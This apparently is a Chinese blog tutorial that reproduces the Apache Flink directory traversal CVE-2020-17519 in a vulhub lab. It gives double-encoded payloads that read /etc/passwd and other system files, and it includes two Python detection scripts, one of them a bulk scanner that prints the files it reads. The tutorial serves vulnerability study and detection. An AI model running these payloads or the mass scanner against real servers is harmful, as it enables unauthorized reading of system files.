当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Apache Flink目录遍历(CVE-2020-17519)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、漏洞描述
  • 三、影响范围
  • 四、环境搭建
    • 1、切换到CVE-2020-17519目录
    • 2、启动CVE-2020-17519环境
    • 3、查看CVE-2020-17519环境
    • 4、访问CVE-2020-17519环境
    • 5、查看CVE-2020-17519提示信息
    • 6、关闭CVE-2020-17519环境
  • 五、漏洞复现
    • 1、读取/etc/passwd文件
      • 1.构造Poc
      • 2.复现读取/etc/passwd文件
    • 2、读取/etc/rc0.d/K01hwclock.sh文件
      • 1.构造POC
      • 2.复现读取/etc/rc0.d/K01hwclock.sh
  • 六、检测工具
    • 1、单目标检测脚本
      • 1.脚本
    • 2、批量检测脚本
      • 1.脚本
      • 2.参数介绍
      • 3.使用介绍
  • 七漏洞修复
  • 八相关资源

一、漏洞编号

CVE-2020-17519

二、漏洞描述

2021年1月5日,Apache Flink官方发布安全更新,修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞,漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,攻击者可通过REST API使用…/跳目录实现系统任意文件读取。

三、影响范围

Apache Flink 1.5.1 ~ 1.11.2

四、环境搭建

采用vulhub环境

1、切换到CVE-2020-17519目录

cd vulhub/flink/CVE-2020-17519

在这里插入图片描述

2、启动CVE-2020-17519环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2020-17519环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2020-17519环境

http://ip:8081

在这里插入图片描述

5、查看CVE-2020-17519提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2020-17519环境

复现完毕记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、读取/etc/passwd文件

1.构造Poc

../../../../../../../../../../../../etc/passwd

两次url编码得到POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

在线url编码器

https://www.iamwawa.cn/urldecode.html

在这里插入图片描述

2.复现读取/etc/passwd文件

http://192.168.13.131:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

在这里插入图片描述

2、读取/etc/rc0.d/K01hwclock.sh文件

1.构造POC

../../../../../../../../../../../../etc/rc0.d/K01hwclock.sh

两次url编码得到POC

/jobmanager/logs/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Frc0.d%252FK01hwclock.sh

在线url编码器

https://www.iamwawa.cn/urldecode.html

在这里插入图片描述

2.复现读取/etc/rc0.d/K01hwclock.sh

http://192.168.13.131:8081/jobmanager/logs/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Frc0.d%252FK01hwclock.sh

在这里插入图片描述

rc0 - rc6 各启动级别的启动脚本

在这里插入图片描述

六、检测工具

1、单目标检测脚本

https://download.csdn.net/download/qq_51577576/86718693

1.脚本

import argparse
import requests
global headers
headers={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
class Apache_Flink():
	def url(self):
	        parser = argparse.ArgumentParser(description='Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC')
	        parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
	        args = parser.parse_args() 
	        global target_url
	        target_url = args.target_url
	        print("Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC!!")
	        print("正在执行检测...")
	        print("目标地址:",target_url)
	        return target_url
	def check(self):
		poc = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
		url = target_url + poc
		try:
			re = requests.get(url,headers=headers,timeout=4)
			if re.status_code==200 and "root:x" in re.text:
				print('漏洞存在')
			else:
				print('漏洞不存在')
		except:
			print('访问异常')
 
if __name__ == '__main__':
	flink = Apache_Flink()
	flink.url()
	flink.check()
```bash
### 2.使用介绍
```bash
python CVE-2020-17519.py http://192.168.13.131:8081

在这里插入图片描述

2、批量检测脚本

https://download.csdn.net/download/qq_51577576/86718662

1.脚本

import requests
import sys
import click

banner ='''\033[1;33;40m
  _______      ________    ___   ___ ___   ___        __ ______ _____ __  ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, |
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / / 
 \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/                                                                                                                                                 
'''

header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}

def scan(target):
    pyaload = "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
    poc = str(target) + pyaload
    try:
        requests.packages.urllib3.disable_warnings()
        rep = requests.get(url=poc, headers=header, timeout=5, verify=False)
        if rep.status_code ==200 and "root" in rep.text:
            print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(target))
            print(rep.text)
        else:
            print('\033[1;32;40m[-]{} None'.format(target))
    except:
        print("error")
def scan2(file):
    pyaload = "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
    f = open(file, 'r')
    for url in f.readlines():
        poc = url.strip() + pyaload
        try:
            requests.packages.urllib3.disable_warnings()
            rep = requests.get(url=poc, headers=header, timeout=10, verify=False)
            if rep.status_code ==200 and "root" in rep.text:
                print(u'\033[1;31;40m[+]{} 存在CVE-2020-17519-Apache-Flink任意文件读取漏洞'.format(url.strip()))
                print(rep.text)
            else:
                print('\033[1;32;40m[-]{} None'.format(url.strip()))
                print(rep.text)
        except:
            print("error")
    f.close()

@click.command()
@click.option("-u", "--url", help='Target URL; Example:http://ip:port。')
@click.option("-f", "--file", help="Target File; Example:target.txt。")
def main(url, file):
    print(banner)
    if url != None and file == None:
        scan(url)
    elif file != None and url == None:
        scan2(file)
    else:
        print("python3 CVE-2020-17519 --help")

if __name__ == "__main__":
    main()

2.参数介绍

--help 	查看使用帮助
-u 		检测某个地址是否存在漏洞
-f 		批量检测漏洞

3.使用介绍

python CVE-2020-17519.py --help

在这里插入图片描述

python CVE-2020-17519.py -u http://192.168.13.131:8081

在这里插入图片描述

python CVE-2020-17519.py -f target.txt

在这里插入图片描述

大量目标检测的时候,将读取文件直接输出可能不太方便,可以自行修改脚本文件
如下,简单修改不输出读取文件
当然也可以将读取文件输出到文件内,都可自行修改
在这里插入图片描述

python CVE-2020-17519.py -f target.txt

在这里插入图片描述

七漏洞修复

所有用户升级到最新版本,下载链接为:

https://flink.apache.org/downloads.html

八相关资源

1.docker 搭建 vulhub 靶场环境

https://blog.csdn.net/qq_51577576/article/details/125048165

2.[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)

https://blog.csdn.net/qq_51577576/article/details/126650988

3.Apache Flink目录遍历(CVE-2020-17519)单目标检测脚本

https://download.csdn.net/download/qq_51577576/86718693

4.Apache Flink目录遍历(CVE-2020-17519)批量检测脚本

https://download.csdn.net/download/qq_51577576/86718662

5.在线url编码器

https://www.iamwawa.cn/urldecode.html

相关文章:

  • mysql的聚簇索引和非聚簇索引
  • 【React项目】从0搭建项目,项目准备和基础构建
  • markdown数学公式编辑指令大全
  • ContentProvider 之 监听共享数据变化
  • 数字IC前端设计怎么学?薪资前景好吗?
  • IDEA+Java控制台实现房屋信息管理系统
  • 微服务项目:尚融宝(终)(核心业务流程:整合Rabbit MQ发送短信)
  • Python骚操作,实现驾考自动答题,这就直接满分了?
  • 【Gitee学习之路】Git概述安装教程基本操作指令
  • 一眼就看懂;Android App 开发前景介绍及学习路线规划
  • Python实现支持向量机SVM分类模型线性SVM决策过程的可视化项目实战
  • 想学习软件测试,求推荐看什么书或者教程?
  • Spring-事务管理
  • 监控平台SkyWalking9入门实践
  • 【Linux】常见指令(二)
  • 【笔记】你不知道的JS读书笔记——Promise
  • bootstrap创建登录注册页面
  • el-input获取焦点 input输入框为空时高亮 el-input值非法时
  • in typeof instanceof ===这些运算符有什么作用
  • Linux各目录及每个目录的详细介绍
  • Material Design
  • vue2.0开发聊天程序(四) 完整体验一次Vue开发(下)
  • vue脚手架vue-cli
  • 阿里云Kubernetes容器服务上体验Knative
  • 程序员该如何有效的找工作?
  • 分享几个不错的工具
  • 微服务入门【系列视频课程】
  • 这几个编码小技巧将令你 PHP 代码更加简洁
  • TPG领衔财团投资轻奢珠宝品牌APM Monaco
  • 如何用纯 CSS 创作一个菱形 loader 动画
  • ​ssh免密码登录设置及问题总结
  • (2)(2.10) LTM telemetry
  • (Redis使用系列) Springboot 实现Redis 同数据源动态切换db 八
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (机器学习-深度学习快速入门)第三章机器学习-第二节:机器学习模型之线性回归
  • (四)【Jmeter】 JMeter的界面布局与组件概述
  • (算法)求1到1亿间的质数或素数
  • (转)Sql Server 保留几位小数的两种做法
  • (转)机器学习的数学基础(1)--Dirichlet分布
  • (转)详解PHP处理密码的几种方式
  • (转)重识new
  • .bat批处理(八):各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .bat批处理(二):%0 %1——给批处理脚本传递参数
  • .NET/C# 阻止屏幕关闭,阻止系统进入睡眠状态
  • /bin、/sbin、/usr/bin、/usr/sbin
  • ?.的用法
  • @ 代码随想录算法训练营第8周(C语言)|Day53(动态规划)
  • [20181219]script使用小技巧.txt
  • [Big Data - Kafka] kafka学习笔记:知识点整理
  • [C++参考]拷贝构造函数的参数必须是引用类型
  • [Delphi]一个功能完备的国密SM4类(TSM4)[20230329更新]
  • [IE技巧] IE8中HTTP连接数目的变化
  • [LeetCode] NO. 387 First Unique Character in a String
  • [LeetCode]—Longest Palindromic Substring 最长回文子串
  • [leveldb] 2.open操作介绍